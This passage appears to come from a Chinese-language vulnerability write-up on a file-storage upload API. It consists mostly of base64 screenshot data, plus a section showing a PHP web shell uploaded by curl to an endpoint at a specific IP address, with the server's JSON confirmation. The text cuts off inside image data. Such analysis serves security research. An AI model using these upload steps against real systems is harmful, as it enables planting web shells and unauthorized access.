3QO2Pw9JNMQqPj/WxMJTHod9S0vSjOLUPIBqyurqgmmoyRRPY5M33JuJUnXZOteCiD1ebZQG0gnXsX30ewypOJ6aQAHw8Yq5ubmX3c8Yo2g4SYK60G8lusnqioOupLhfTaXjulxWN+f6dZHJSm96XVs51uvYfXVTFRbdOyVrOz7s3+px/cnwhqVv3EzvYU13k14Rs191IIPKuqpMmLHcfcmKWRTPUVxo0XajGeh94iczvZz4tsvC45um5cdenn6JbaTF065f4YkkwxxqOz5hNkq3E6WZqqLF80JCuPgJsS8ta3+JvONk50dnKG6UjPOwLMxF+bnKsQ9tx+TV5IpZ+8o6brViabprdns58aOFys/K0LoZx1e2Tlm6e8ePy2fpoCfSxiMOffPhwHD+zgpzn4tDVdANrZPORz5pkbWdPreOfqtN2XZ0yKNwj3peaEXp7rudxDYyynn/8JTnjbJjj9j1Cs4vpejYDZ9zOcB5mpU3svJy1raS6/mV4cPpMXxcPusU6sdL+u+iNO71X/88kfA4xXE4qNfE47W/b5Ve84s3SvNoxD/Mbr/6ted5mTo3PqP9+NaNc+rYB6tm+/YNgW4dceemqw/qY7x2KX1MA1l5tlx2nAOYXsvLy+Z/GlsmJLuQBzyZi7iuk89Q/plkmM/rvgAAYVGGYwZFjVJlDagApkPU2MIwImDqbfhN/DpVJhnm87ovAEBYlOGYQRv75pXXulcZDS3AbKFny4TQswUAAACAnw2GDwEzimFEE0ZjCwAAwEWQPa/OkNTcQOMzbeEBgPONxhYAAAAAAICAmLMFAAAAAABgDGhsAQAAAAAACIjGFgAAAAAAgIBobAEAAAAAAAiIxpYg9KvZTuX09ET2N9SvO0fqZ/X7yb76poaNfTnRf396JDvuo0r6f++WuuEIfVyFJrmv2aPfZlU7P1TllX9ILwAAAADIQ2PLOBx3paf/795IvT5Pv3rvVE7M3ekoSrazuyaL8/Myr5a9jvsshNzjGoNJ7utcCZDH6uQf0gsAAAAA+mhsCWJXbnT1/125EeJOs3+zuyJt99HZCHxchSa5L4yO9AIAAACAPDS2jMPuDXULKtLrHtvfz4tJHtd5jcPzivQCAAAAgD4aWwJpr8R7orRlZX5eFtfsI38734ae32Jdmur3Rmvb/W6X/pCPkrkyvLfjLZp3I1rc/BsxRceVZIevjDJnh9++3H4Kwuy3TpHo79N/l/X5JMITl9xWlOZeecPkL73v5HHsHLn1Kqadf94AAAAAgIuFxpYJ2F1bVDel+sZ0T/QUGL3DLfe7Xfo3qCVzZXhvx4u+4d6WVnev//dbhyKt7ZoNATuXzU2+NJZktc7fe9FhXpdmZxDm+fkDWdiMNxL4rFOmLSsqMnrSkNaVwZS0O0e6IaMnh1uLYqN6UuGJNGVdbUv23HZUJmm0Nk16VckbS5ur0t3aksNeQ/18IuuiwqYz3FjTDgAAAAAuDhpbLqiN/VV1696RvZXBrDC7a1fNDXi8gcFb+7q5yZfesRyMq3PDxiVZUP91rg/CbBpGFtcGk7L6rONDN3zpBojmuhzp6Ng5kvWm2u5e1NCiTDI8TmdvXvpJZuK8IUuVWkga0uge9I+h0ejG8kBDFpbcjwAAAACA2mhsuZA2ZHWpoVsA1G1/nJv0dOFSjV4XbTOMZL5mI4IXNy9Ic/3UNoBk8VnHV3vF9DDS2zq1LS2Dhg5t0uGRjiTabGpKNPz0usIsKwAAAAAQFo0tF9KSLDTUf831xLweetFtCtNLN+jo4S+uAcSEOT3syWcdf+0VOyxHN3TEewFZkw8PAAAAAGD60dhyIR1LV938654a8Xk9+ss4e6eMbFfWFl04o3lVhuaZ8VnHh55AeF2avY50ek1Zz5xAdpLhAQAAAADMAhpbJso2cjRGnhhj1O2MMlwoj54I9nSktxFVpudVcY0XuVHhs06Ojf1NaTV6cnh1RVYO9ASyLdksaiEZNTz9t1EdqdisK1QeCyjIcQEAAADA7KCxZaJcI0dzdcReDaNvp31N3fA3WrI9+kQi1iTeRrRzNPR6643VJWlIT7rRxCM+6/hQ29luqb86vGonk3Xzt0Rv/zECh8d+rjXlcu1kCZXHAlpa6B/X6tQECgAAAADGh8aWCWuv2Ffutraj+TtO+zfjG/sn/c/M3Cm6MSS1TmTk7egeFvo1wRnzttRqf5nE24jaK3JVNhNh3W51ZW8+9oYgn3XK6J4YJuI6chD7Izt/S2wIUODw7B4cix7dNepEuEV5w0eVfOilfc3MWQMAAAAAF8Ur5ubmXnY/A8BY6AYc3VMo8epqAAAAADhnlpeXzf/0bAEwXhv7stnSrxpPvTobAAAAAM4pGlsAjIl+m9OpnG63RA63ZJ6WFgAAAAAXBMOIcIHoNyat24l8i/QOZWuqX38NAAAAAJhG0TAiGlsAAAAAAAACYM4WAAAAAACAMaCxBQAAAAAAICAaWwAAAAAAAAKisQUAAAAAACAgGluCcK+4PT2R/Q31686R+ln9frKvvqlhY19O9N+fHsmO++j8CxyHhSa5rzFy+eTIZZKN/ZPJ5Zl+HnVLZtydk3gGAAAAgIpobBmH46709P/dG1P++mD9KuRTOTF3wlNmknGYu69Jxk/1fW2sLkmjdyjX2u4DbwGOa3dNFufnZV4tex33WZmZOS8AAAAAYDQ0tgSxKze6+v+u3AhxF9m/kV2RyvfRMytwHBaa5L7GZUeutBrSOz6Y4oaL8xDPAAAAAFAdjS3jsHtD3V6K9LrH9ndUN8k4nMX02rksTenJ8cEMtWJwXgAAAAC4IGhsCaS9Eu+J0paV+XlZXHM3wmZ+Cz1vhR2+Ec1hsXOUmu+ibB4M3+0Y0XwZ0eLmzdDfmLk99Gfr6oZdpNHajq3nhpe4+TWyhprY/dm5Qcy2zH6jMMW2kZAfnkhhHCa4fY0w90fRvrzip6/ouJLpNDD4vNq+Imqfq2rtzoFkRk9OWnjtq1IeK+efpgAAAABwftDYMkFLm6vS3dqSw15D/Xwi67In83rCi8aSrOo7WM95MEq3Y262t6XVVZ+77W0dirS27Y3z7tqi+3xP9G56h1v99fRibobb19T29SZXUzfXO3JZ36l3rrsbaKXRkm11Ay97bhsqLPpGPpq4tSw8lZleHUr/eMPyih+j7LjasqI+6ElDWlcG09buHOnGjp4cbi1W2FfMxqosNXQS9FMgpinrQ2mx6Z/uTnkeAwAAAADkobFlYhrS6A56IjQaXdlbiW6WG7Kw5H4sVb6djf1VdcvdiX2ub7Svmhvn+E1/sV05ODatLcmbazd85TA1K2tH3dz3d+caapqX7b7ChCemfd00FkjvWM5yFI3XcekGNN1I0Vy3jU87R7KuO6XsLeb0SilXNjFuMi10XDVkqVILSai8CgAAAAAXE40tE5ToidDrSt2ZK4q2s9LekFXb7WHQ88Rwk5UuXPIeBrJ7cGx6ZcRv1Hd0t5ahRo6OJDtZDPYlam+hwjNgh6PML66prZyVCsfVXjE9lZrrp3JqW1oGjSGVlU2Mm06LekLlVQAAAAC4iGhsOXeWZKGh/muuJ+bj0Iu+z69kd00OzMiRaCiRHULUOajSyBEwPFOl2nG1V+zQHd0YEu8JU5npWdSRg7rdYgAAAAAAY0djy7lzLN2e+q8zmEcksVTsDdK+blpb7FAid6NfredE2PBMjyrHpSfRXZdmryOdXlPWa0/sG02Mm+5NAwAAAACYJjS2nDNHO1WG59gGg0bRJBxm/hU7lMgMIfK60bc9YPRQl9GGC+Vxb8oZ4W1Eforix/+4NvY3pdXoyeHVFVkxXYVasjk0M7BHWhROjFuFx74mrf8mLvuWKwAAAACYZTS2nEPta4fS028IGrwOKIdrMGiuFrwVyE6Uq98utN4cnhg3i33bzmCoi394PI35bUQDxfHjdVw7R7Kt51g5vGonnHXzt0RvCBooT4udK63CiXH9+aT7hC0tiB6VpQIlq1MTKAAAAACoh8aWKbKxf5Kc98O8Utn+flLlBtS8QnpPOhnziaTbBdor9vW+re3BOul92Ylyldy3/+jXDQ/+fn3hULbmVwY9YCqEx8sE30ZUGD9lx6V7a5iETM6xYudv0dtMvvq6OC0GvYVCHLJPuhcJllcj7g1WAAAAAHAevGJubu5l9zOQTTcabLdEDrdkMTUxq77p3m51ZS/euILwdo7kdF3OdTzbvNRIvroaAAAAAGbI8vKy+Z+eLSi1sbok6haYN+CcmQswMe7Gvmy29IQ0o7wWGwAAAACmA40tKObmHOns0XPl7OzK2uK8zJ/LVgj9pqZTOXU9p87nMQIAAAC4aGhsQab+nBzrTYZ1YIxcQ9L8/NAQNQAAAACYVczZAgAAAAAAEABztgAAAAAAAIwBjS0AAAAAAAAB0dgCAAAAAAAQEI0tAAAAAAAAAdHYEoR7fe3piexvqF93juybfE721Tc1bOzLif770yPZcR+FFzjMAAAAAADAoLFlHI670tP/d2/IzLzMdhbDDAAAAADAFKKxJYhdudHV/3flRoiWit01WZyfl/n5FWm7j8ILHGYvO3JkeuxES6znTtSzJr7QywYAAAAAMINobBmH3Rui2zF63WP7+ywYc5g39k/k9HRdZE83IkVLrDGpvRL7XC970mm0ZJsGFwAAAADAjHnF3Nzcy+5njJ3u2bEuTfebSE8OtxZlLepZoudq2W5Jw/0qvUPZWlxLDOvRjRbbrf4aMaltmTlZtmWwavr7Kly4M8LjxR1Xd29eVip01bHH2pW9sfbwAQAAAAAgjOXlZfM/PVsmxjVYdPZivTcOZGEz1nOjP3xoXvY67rOU3bXF2N/rZUsOe7pd5mqsIUXva1ta3cG+tg5FWttuMtyqdi7bBqLGkqzW+PudKy1p9A7lGi0mAAAAAIALgMaWSdm4JAvqv871eItDW1bq9BSJ2djflJYcytVYl5WN/VVpSkf2Yt1IdteuymGvIa0rNd5v1L6utqb0juWgercWuaQPvHtDlo6Sc7KcFLX8bOzLZqshvcNr9GoBAAAAAMwUGlsmxc2J0lw/laNQ73N2DRKdg3iDzYasLjV0q06qkcJNiLtwqcYcKG1Z0T1kajUMLcmCHsrUXJfL12M9cvY60mhtJxtc+q+8VoseTtXZk8V6454AAAAAADgzNLZMjG6wsEN+dIOL7d1Rc1iPsSH7m7ZBIjkPyqBxI96LRC/rg8liJi8dzvaKGSrVWFrNHEallz3RxzBKHAEAAAAAMHk0tkzUrqwtusaErUPpSaP2PCpm+FAjOVTIOpZuT/2XmBsmtow4bKk6F54a2it70lFxtFRnohgAAAAAAM4IjS1nRfficA0uC0vuM1/R8KG9rLf0jDJcKI+ecPdUTmu9hjkvPIO5XKpPAxMNNzpSIQMAAAAAYLrQ2DIpO0dDE8JurC5JQ3rSPXYfeMkbPjTQvnYovUZLtkNNDjPi24ii8GzGjt/2zOnJYe4rivSrq/VrsjtykJ63ZWnBvR67KauMMQIAAAAATJlXzM3Nvex+xpht7J/Idss2E1gd2Zsf9E4Z/n6gd7hlJov1Wcdyr5p2v0U6e/O5jTT53LZ6h7JVdxiS7o2iJ711v/oce/J44nRDzLbo1fPXAQAAAABgspaXl83/NLZgJkWNM/UajwAAAAAACC9qbGEYEWaPm7Nm6A1HAAAAAABMARpbMEP08KFTOd1uiRxuyTwtLQAAAACAKcQwIgAAAAAAgAAYRgQAAAAAADAGNLYAAAAAAAAERGMLAAAAAABAQDS2AAAAAAAABERjCwAAAAAAQEA0tgThXkl8eiL7G+rXnSP1s/r9ZF99U8PGvpzovz89kh330dRwYTs6g4Bt7J94xEngtChUc1/pOOynt1vGEtYJ8MkbZ5h/EtJxHqXhOeV37syAack/mKxZTPdJhnmW9uX+Pl32npsyalQ58QPMtEmWUUU4v6YnLS4QGlvG4bgrPf1/94bsmg/gZ0eOVAFwErLkm2Ra1N3X7poszs/LvFr2Ou6zTGOIn4A2Vpek0TuUa233wbTSF5rtljQ6eybO7bIoa5ysU29m8hiCmsV0n2SYZ2ZflL3FiB9gfDi/DOpRk0djSxC7cqOr/+/KjRAnbf/me0Wm/VzYOYq3EE9DS3HgtCg0yX1Nux250mpI7/igWkOTa2EfzkPja3U3FxrpyWHGlcbk53TPorweS/2w5+d3+7R2cEyJJ7fRduPLWfZqygqPW9JpUXhchaLeYHnr2wbF08zEL8hjuWnhtpe3xOM7Iy8mGjZz4yfjWDzyhjUIX3Yjajr8JfGWuZ30NrLCNG3rxGWn+1AezDx3yvfltx0tva2iPJ+XV4vCk/4utRSEq3r8hN1X6bnjFJW95SqGeRxlQnoflcrw9H6H8095/KS3MUp+DqBOmTlSeEri0DMfWoNtZa6Tm38Uz2uBd1oU7UsJei6X7MvbVGyn2rGPVv5Eys9BqzivluYN33OnH3+DJT/PawX1qIuqchxWR2PLOOzeULffIr3usf39vOsdyla/lVj3zmhIazt8Zq1lkmlx0dI9bueyNNVF7PigXvHd2Rvkn2hZGWtLo28Dmbpgrjd1AGV+cc1dnFyDwabIwaHpy5TBrrPdEjncih/XdbkcNSS0V2Kf62VPOo2WbGddUCeoOC1sBSLzuLzCvSsHxzrOmnI5faehmXykwnA9I/Ez81hZWrRlJXYcg0XFtfq2X+HQFRt1UN34se91pNHaTpVjqqKWOG69xBvFffLGwM7RujneLLYyti6SSI/sBvjc7ZhKhPou9iTPls+xCuK0rZOWke46braXjmPXnYxzx2NfXttRqqSFkZVXS8PjmVfTasVPuH35nzuRug8nfMM8vjJhr6viMH7T5FmGV8s/OfETMD8H4ZPuAa9xpXFYMR/ml72+ZXjxtcAvLcr3Fe5crnZtyjdN26lTjo3wcNTz+lWWV73yhs+5U7nsVTLrURdYnTisgcaWQNorOpGik8kWAItDfdNKWkTNiRz7Pu+ClF6vv9jtmRPd/G1yf8MZxxV2qb9PSoVZZcqG+yZPe2VLdNnZaF0ZVEqGwpysINjP7MVPZ/LBelnhLj4uv7TQ3Hby4tlDrXT3iMO4avFTkKYmDfTvUXjsd/3eSS4e/PNPRO1zVYWsc5DRHXO0YzcFYc6+bbjjTwtS+8rMz1XouFRxrhsTYy0/O0fbsnS8ZRpf8prVNvY3pdXQlbF0F1WVR3JbkdpyzZw4C7LkPimT2ROnz8ZHMu580zSbraB2VB0i47h0Y5RHeu0eHKtLvUgzo7Vl57LO4R0ZbmvJzmM+aZFlY381UeEw+013q21fs+XYgm9qVAyPOh/NIe3ZimGC+m6z1TANX6WNjgXb2bmizrdU/rXls6ogXrHxP23rJGWn++7aYqzxU4vOnSVZdVnPZ18+26mUFkZOXq187FY6rybVj58sdfYV6twZqFZGDZ3LQcoEFYZ19dvhViLN29cO1RpNWc0NU0YZXjn/ZAuWnyOurO4vWb0JC9apl+4Z8WOovFVUF/WIw0rhKSoza+afNK8yymNfoc7lSsdVlO7e20nVx1J1P//tlOSNDMXlWImiY/cpwz3yar00HT53qp+D2WW4lUqvzHj2WadI9Pfpv8v6fBLhUVsIfv3KRmPLxOhMkWwRnZ8/kIXN2I2Sz9wd6kTWYw7VXZzbhj7R9RepGyDdAnq6Kt2o5d211A3KDR2ebWl1B+HZOpRkC63elwrzQn9falErmd0ViobXRNS+NkWuRttQS7w12BQ85nN74dMVnP7+1JJsvGjKerzF2BzXZuUTzDAtvErJRWskteNwwD9+PNJUWdrU+cJeIJY2T2Rd1Po6w8XjweSfdDzH80/MxqosqavoUG+EAMfeL/SWVgfnibEjuoxUO1WXIPt74fkVu4BuqwuhzUexQjrjwGyDiTqvEhdFFaSVvMa7yIas6gjpHUuda30Vx10dOcWNM93oMU5vQVZ90zSLSk99ne4dXnNxnsEjvWT3QGznlsvq07h0msbk5LHytMhiu9EOVTiG4nFJFnQyVuip5h8eVenZVBU3lV+zKmRRpS5RAchUtB0bn0NP93auqHyt/lfxP23rDGXFvLKlVI195fBPCyczzHXDk5NXI7XjJ8sI+yo6d6qUvZXLqOEwBykTNi7JgvqvX3ZGXNlVpRJemn+84idcftZMw/d609wQ9q+X1y8n4tlnnRBlpj62snqL9znoFZ7isrde/qlnfPuqf16UpbvXdjzqfn7h8avTJqWOvUL5U3zsfudg5evFqKqcg7lleEn92fBZp0xbVkw+SD5gsA/x4g8nJxUeJ0g5VozGlknZsBfvZCZ3T4Pdbz7smMOOHPQLqV1ZO9C34MPd8jt7scaX9nVzo75wyWZD2/KrbiRjV5vdtavmBjw6CaJC42ppgZi2IZf0wfa6rsV6+DjtEyJ1s1+jlSPRYmyOq952ojhRpefYborrx2F1PmmqShVpdAcX4EajG1u/IfE6ZDKe7U10Vm8EkyczLi5hjt0NO0k3iLmukP2xt2XnV6xL5pZpndSNk1EBrZZYnBnqAm3bNAddP725C9rQRbmMqqDoJyKFjRkpu4lWTfcEKKo8mDjpSf960WiYrpJDabrqeXFaWlA5JOMGJMEnvXLKrHSaxuTlsTqip17x/bRXdEOmroRFlTh3IR/Kv7qROFZRS43D9tVvyEvnO8OVn90bsmR6Aw2W9FP+wu24cyKeXqbXmr6X1Y2r+tspW8ddnvqqpPuSrh1FXcRr7CuS2E6FtIhkhrlmeLLyalzt+MlQd1+l506VsrdiGVUWZl9D23FDgqP60pCFS9ll5lAZ7pF/fOInWH5WXKN54vquqXD0f/dYx7/MjMm4xtm4T5ZhyXqL3znoG57isreK6teCsnPQ16jnci6fvOEhVL23PG8MGzp23/Kn7Ng9zsF2jetFpDRvZJw7Vc/B3OuFO7bC+1OfdXzoTgU6vprrthFL1bXXTbzH7lcnGJ5a5VgNNLZMirt4N9dHm/jTnpBZYjdVRlZX/Ih78j70BNn1SFEVCZ3hMltxPejugWYIxdWCTO/io7qi46pKnZi6sK1aWHirH4fV+aSplSic+g1iael4HmwnecmwTxGGj7HasevzIn5hildc7LCTZIOa7foXayQLdH4ZulePKv17h1cHhf+4qAtof3id7mbb2av2pMu8ASuqaNvW+P5TTtc4MpCTpqlW/eG0sBehDVOLiNMXpdh6bjiTV3q5hs54493QOn15eayO4Sd+li0LbI87fTzqYqufmMTLhlilzS66d1j8Iu3LHU9uo1qUjuty+Xpsf6qCop/yDyptZduJsw1x2wsHalt5DYjTtk6FdHcVtuHyT/PZlzO0Hd+0iPiE2Tc8eXk1Eip+tFH25XHuePMro6yyMPvK2k5brqsCKt1r1t6ou18ihWV41fzjY5T8rP5a33CV1KN81vFO98L48am3+MahT3hcPvYqMwvUuRaUnoOeRj6X8/mle5lQ9d7yvDEc1ZM69rxzsOb5npempfXDKmWvy/tZ6eJTfw5Zx1bnj4oSsy3dk0hUmBMNXBMNT8jrVz4aWyZGJ6gd8mMymDmBqlbS1VaGxgyrk9707a/SO2NQINhwDBZzwldlhpzEtrFwKFupOR1MC3BsHZOh3XcIIXCa+jK9EeI9rerRTxOSlZfYBWx3TXRHiMHQFHsx7xzEC8Mw55fRU/nXXRxHvqiUiQ0d1Mue6PRLhtvOdZJc+hdtc8Fp2B5JOi06hyoO4k85i5+imWFIKcNpYc/lZC8azV6kTLh1y0nEM730zcyg+3tBBS1QHtPyn/jZhqP1pnvqpbu6mnOpKA/tytrV6j30TJdZn6cm6QqIq6BE8eq9HXNsbnx8YoNx07aO4pvuqqJqKmz6vB3anue+tKLtlKRFX2mY/cNT+nQ6SPxYo+1LH1PVc8dfVhmllYbZU9529DCHQQXcLptyYK4x+sl1PyY8ynDv/FNq9PxsHtjlPmSxfNbxTvfC+KlQbymNw/Lw+JeZVZVcCzzOQS8hzuUCfuk+KdXrtJM5do9zsMr5XpSmpWVLhbK3sAz3qT8HrGMrtkeJpsI+FI+TDE+FOBwBjS0TpQrkRXfi6ARVBXPx2MMM7mm1vhG0mWtbWqJO0kqtcMdi6i+qQIhO4sSitlWJLiRSfx8Pi25o0WMlkzdx0YmGMAKnqRfX0DfqkxoPbfOY0Q1NcReN4ScQAc6viLo46i6nzfUaf+9a3KtXpKMLULLCpiv96fRM937R3d11z5PO9TW50bV/b3qiBKlUO6YXjd1XGZ/0Muuob0znFrNO1oR2IfNY3lMv/ZRKN/7qi61r5DOVHJsWraIxwFFa+87hoCpW601VGSzq9RedywX0RMSl2+k/+dH9nJN5xvZSUt9O2TqDhkHPdNdP/kzNW6Vd/LpTaV9K3nY80mKgIMxVw5ObVyMjxk/CKPsa4dzxlF1G1X+CnVS8nXTZqy+jNjj5JWayDK+SfwoEy8+6GFcByuwpNFC+Tv10z4yfwnqLR3noER6/sncELo2yJuMtPwc9BDmXi/nkjckpzxvJQxzzsXucgz55NaFi3kieO1XOwaIyPOJTfw5Vx3Zh73Wko3uEZb7kYRLh8Sg3AqGx5azoBHWZw3+uteiESRU+lQvwom54EVtopC8cZiym+9lPNFmoz7jy7H2Oj23RHOVtRMVCxWGkKH580nQUGT0PCidnDHzsZuy+vciY4SZlNxm1zq+k/tjg7arzcrheG+l5S8bCxrN+CrSqjlPfA+hGDN3QYw47/gR2iE3T4nVioskhfRqRfNIrNpQodwhRwAlA8596uSdoQzd0Lm6LKmCmkcg/fOY4VZ6MPy2PevlFDeiqOMo5lwfjwf22c2zz4VDZO+ie3c+rU7JO/2OfdNcVVd21Ol5R6quyr6Lt5JWrg7TwKw8rhEcpfUI7cvwMjLavEc4dL9ll1ChPsOMqb6fw6XCWCvmnUKj8rEJkApTz6n2nfJ1Q6e5TbymPQ5/w+JWZ+aEolXUt8DwHS4U6l0v45I1yNs5Hr/tVq9OO/9h9rnFVrhej5o0K52DVepRP/XmEOrYdjqnS6uqKrJhu0C3ZLDr3xhae8jgMhcaWSdk5GirI7RjB9FwrRaoVPkXMcCQ9/Cd/QJyd6LK52m8l1D1U1hd6KsRVuDDHbzx1IZM5jMitG9vnWLmL4/huikPFYaQ4fsrTtL7olb/xSmY0CVr2tS38sevt6UqReTqV3mmQ8ytNt5rrFm49Frtag0v0BGK4lX1HjnLTZ9DKXrUy32itS0tdIExjhW7EUPlgvaWOvuDgozT1nyhQxYfuKq3zWGkDZUl6Ga7y0lxX66jrXcYQouI8VkXRUy8XDnVciTn3orcMpG6E+3Q5pgPeSXUZLpDVSyn9ljH9xCw6l+MVkH4FRUXGKNuxc2oN0n3a1tFK092jouq1r5rbiadFpCzMvseuPi19QhsifqxR91Xz3PGUXUaN9gR7oNp27JtKFkomTR8uw33zT5lQ+VltyHW9T12b1DW0f2kqXaduuufHT1G9pTwOPcLjWWbWknUt8D4HSwQ8l0v55I1S4ep+PnnDmsyx+5yD5XnVfFAjb6TPHf9zsPR64VN/9lnHh9qOHunQnxMxGmIVnx9rYuEpj8Ng5ubmXmaZzPILjzz7ctKfvvxrhd8PPPvIL7j1fk39VbY//bX4dpLbjv5usJ3BZ2nRdvTya/EV/vTX+n8TrWO+f/aRl3+hv82s5RdeTh6aDltWeLLWHazjf1y+izv+0vCPtpTFoV+6R0t+/NjFHVOK2dcvPPKyiUGzX7ed6NhdIPV3meEZiiO/eC879mSYSha37nBY7DIc7nReia+X/V1mfo726/6mKL3Sf5s4fmOw36zt1MnH0XbifxvtNx3PCenjHA5sXzJ9hvOgNhT2kvQyS3+fz778yC+kvy/PY75pEa1XlM+yDj++76x9pbfnG57kknOcQ2mWnWcHywjbmap1ytO9IKvqPxzEc8m+Qm3HJ8xm8Yif8rwaLn5C7EsvZedOtNj9ZeQJvQzFjZJxzpSF2fccrLwdc/0qWUfJjCuPdNeL3V5O/OglVH7OWjfj+MrWKUt37/hx+SwtkTYeceibDwfLcP7OCnOfi8OsddL5yCctfPbls514uEc9L/RSlO6+20lsI6Pu5x+e8rxRduzRYtcrOL/UUnTsZvE5lwOcp1nxk5WXs7aVXM+vDB/e3/Bx+axTuPTjJf13URoP6oETCY9byuOw/rK6umqWV+hfXLsLpp4e9rJuJvhKz9Gin7qYJ8j995QD9dg5drrFLe47elIvPXR1hCc2VbmnASqT138ChckZNb3OIo/h7M1iuk8yzOd1XwCAsCjDz9Ty8rL5n2FEs2TDvle8l9HdPm/GfiC8aO6g0bqIV2W7CFYZYoOzNFp6nU0ew1mbxXSfZJjP674AAGFRhk8LerbMlJyeLdH4v4weL0BVXj1bJs20zjdFv9EqMXwf04n0AgAAwAUV9WyhsWXmuAYX91tET/DF0AqEME2NLTYseqYq4cZ9BpBeAAAAF0X2femQiXUImJ7w0NgCAAAAAAAQEHO2AAAAAAAAjAGNLQAAAAAAAAHR2AIAAAAAABAQjS0AAAAAAAABndvGFv1WjNPTI9lxv4+VfvXy6anan1tO9mXDfTWwIfsn+vsT2ddf6lej5q4LAAAAAABmFT1bzCuiTuXEtIDUtLsmi/PzMq+WvY77rMxxV3r6/+6NCbwGCwAAAAAATEppY8vOke6NkddDxDZURP/3e3ZES6LXRn6jht7HoOdHzr6i3iNHE+mrMga7cqOr/+/KDVpXAAAAAAA4t0obW467pv+Fl97hlundYZctOZSWbEfDZkqcnqzK2tVD6UlT1ocaVDZkf7MlDenI3krbfTbjdm+IbnvpdY/t7wAAAAAA4FwY4zCiXVlb3JOONKS1ue8+K7axuyZXD3sizdVkA83OFWk1RDp7K1K9qSXZ6ybqWWPndNGfrUtT/d5obffX6a9netPoxqJoG7bhyPb2UUvF+VbaK7oRKjqGtqzMz8viGt1cAAAAAAA4T0obW3bN2JcFuVSlVaGvLdd040ljyf1ebnftoN9A45pFZH+1qbvNyLXKLS1NWT9dF9lzvW321JZbm6bBZHdt0fXA0Q1C6V45yUaQpc1V6W5tyWGvoX4+kXXZM9vSx7VaK14AAAAAAMB5Vblni+nVEQ3z2bgkC3aa1xIN97+PtqyYhoyWXFG72djflFajJ4dX12pNJNvZm5f+yKP2ddOQs1SphaQhje6BRG0vjUY3NpSpIQv+7UgAAAAAAOACKG9sid6aY+zIZT3mpnk5exLbDLZnTEXta2JHE53IZqshvcOr/caOajpyvfq4oyGd+EZ6XWGWFQAAAAAAkMezZ4vrwbFzWZqdQznsNeVyv7WluDFl49KC+6mKXTtZbqOh9tyRA+Y1AQAAAAAAM6K8scW9NUfbudyUzvU1OTjuSVO3tiwtSNkAoaUFvYaeFaWi3QNRu9HdSmpMigsAAAAAAHA2vOdsWbi0L5ebdljO7sGx9HyGEm3si57bVjeYRBpDk5xsiOn80r1RfU4W87Yg/WagI+9hTcOORb/dejhcAAAAAAAA1flPkLu0JM2ol4npddKU1dUFM4dJJt0Qst0yw4DshLLuzUSp1zr3J8Ct/qoh2Vhdcj1r4sOaqtoVM61M+nXTAAAAAAAANXg0trieH42G9LrR1LC7ZiiR/iyu0dqWU9PTRC3bLemaVy6v9IcB6dctbx2KtLbdOmrZbnVlb36x1gS4poeN+Wm0iXDbK/a1zvFwnVRoednYP+n/3bruydNoyXaN7QAAAAAAgNn3irm5uZfdzwAAAAAAAKhpeXnZ/O8/jAgAAAAAAAClaGwBAAAAAAAIiMYWAAAAAACAgGhsAQAAAAAACIjGFgAAAAAAgIBobAEAAAAAAAiIxhYAAAAAAICAaGwBAAAAAAAIaEYbW3bk6PRUTvVytOM+AwAAAAAAOHsz2tjSlpX5eZmf35NOc50GFwAAAAAAMDVmfBhRW64d9kQWLsmG+wQAAAAAAOAsnY85WxoLsuR+BAAAAAAAOEtMkAsAAAAAABAQjS0AAAAAAAABzXxjy+6NrvsJAAAAAADg7M1+z5bjrvSkKav7TJELAAAAAADO3uw3tuyuyeL8vBwsbMvp6amc0OgCAAAAAADO0Ow3tmzsy8npqVy+Pi/z8/OyuLbrvgAAAAAAAJi8mW9s2VhdkoZ05HrbfQAAAAAAAHCGZr9nCwAAAAAAwBShsQUAAAAAACAgGlsAAAAAAAACorEFAAAAAAAgoBlvbNmRK62GSOe6MD8uAAAAAACYBjPa2LIjR6encnq6Ls3eoWyt0NQCAAAAAACmwyvm5uZedj8DAAAAAACgpuXlZfM/c7YAAAAAAAAERGMLAAAAAABAQDS2AAAAAAAABERjCwAAAAAAQEDejS0b+ydyat4A5JaTfdlw3wEAAAAAAMDybmzZXVuU+fl5s+x13IcAAAAAAABIYBgRAAAAAABAQDS2AAAAAAAABERjCwAAAAAAQEA0tgAAAAAAAAREYwsAAAAAAEBANLYAAAAAAAAERGMLAAAAAABAQDS2AAAAAAAABERjCwAAAAAAQEA0tgAAAAAAAAREYwsAAAAAAEBANLYAAAAAAAAERGMLAAAAAABAQDS2AAAAAAAABOTd2LKxfyKnp6dmWW+6DwEAAAAAAJDwirm5uZfdzwAAAAAAAKhpeXlZ/Svy/wOSWYWUuTOUxQAAAABJRU5ErkJggg==) + +: + +● path:download/YYYY/MM/DD/hash/filename 格式 +● signedPath:dltemp/signed\_id/timestamp/... 格式 +● 文件存储路径里包含 hash(userId),但后面会看到下载时不会校验 userId + +### 3.3 上传PHP——WebShell 向量 + + + +``` +$ echo '' > shell.php +$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \ + -H "xc-auth: $TOKEN" \ + -F "file=@shell.php" +``` + +``` +[{ + "path": "download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/shell.php", + "mimetype": "application/x-httpd-php", + "size": 30, + "signedPath": "dltemp/..." +}] +``` + +PHP 上传成功,系统识别为 + + +![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABFcAAAEPCAYAAACHuyvAAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAGlOSURBVHhe7d0PjCxbfdj537OfA7GBfhEz8+wHvgQ8DTaMWLAvL840chJbscNoMSOv7KWzPOU6Xo8cyzugVTwQz7NWWRjJ3F1tltnV2hrH5nphPSiWrLG9GsKugpXkzdiGawxPQ/jTYwzXBkHPY00/IOHF2G/Pv+quqq4/v+qq7ume+X6kunemu6bq1KlzTp06dc6p+5aWlp6WEltH57LXaYXfjMGJ7K5uykH4FQAAAAAA4LpSNa4AAAAAAAAg2zeE/wEAAAAAADABGlcAAAAAAABqoHEFAAAAAACgBhpXAAAAAAAAamikceUFjz0qP/D4o/Kyt4YPFsj9O39fXv7YW1z4f+Dxt8jDv/Xd8syHwpcotMjnvVlbcnR+IedHW+H32bNv9Lq4OJX98Pts7MvpxUW9/e6fmr+32zDL6WRbuZxjv+rK0vTlp3m9KJ2OlmRS88dycXEu7nCiNHl+ZL6Zga0jOU+ESRcen+798eSFd//UfD5hvqqsgbw80kDZMi1j5+uSzVt4Uhorn8NxFqV31ToNmfl1J3Vsmedbs848meH5wmxcmfpYSJuFeUizDq6lhe25svTu/1Ye/uBPybf/N+GDCdz/1kdk/Q1/S5afc3/0iTz7hRvy8C9+d/gd86aJ8968NVlpifTv8XLyyr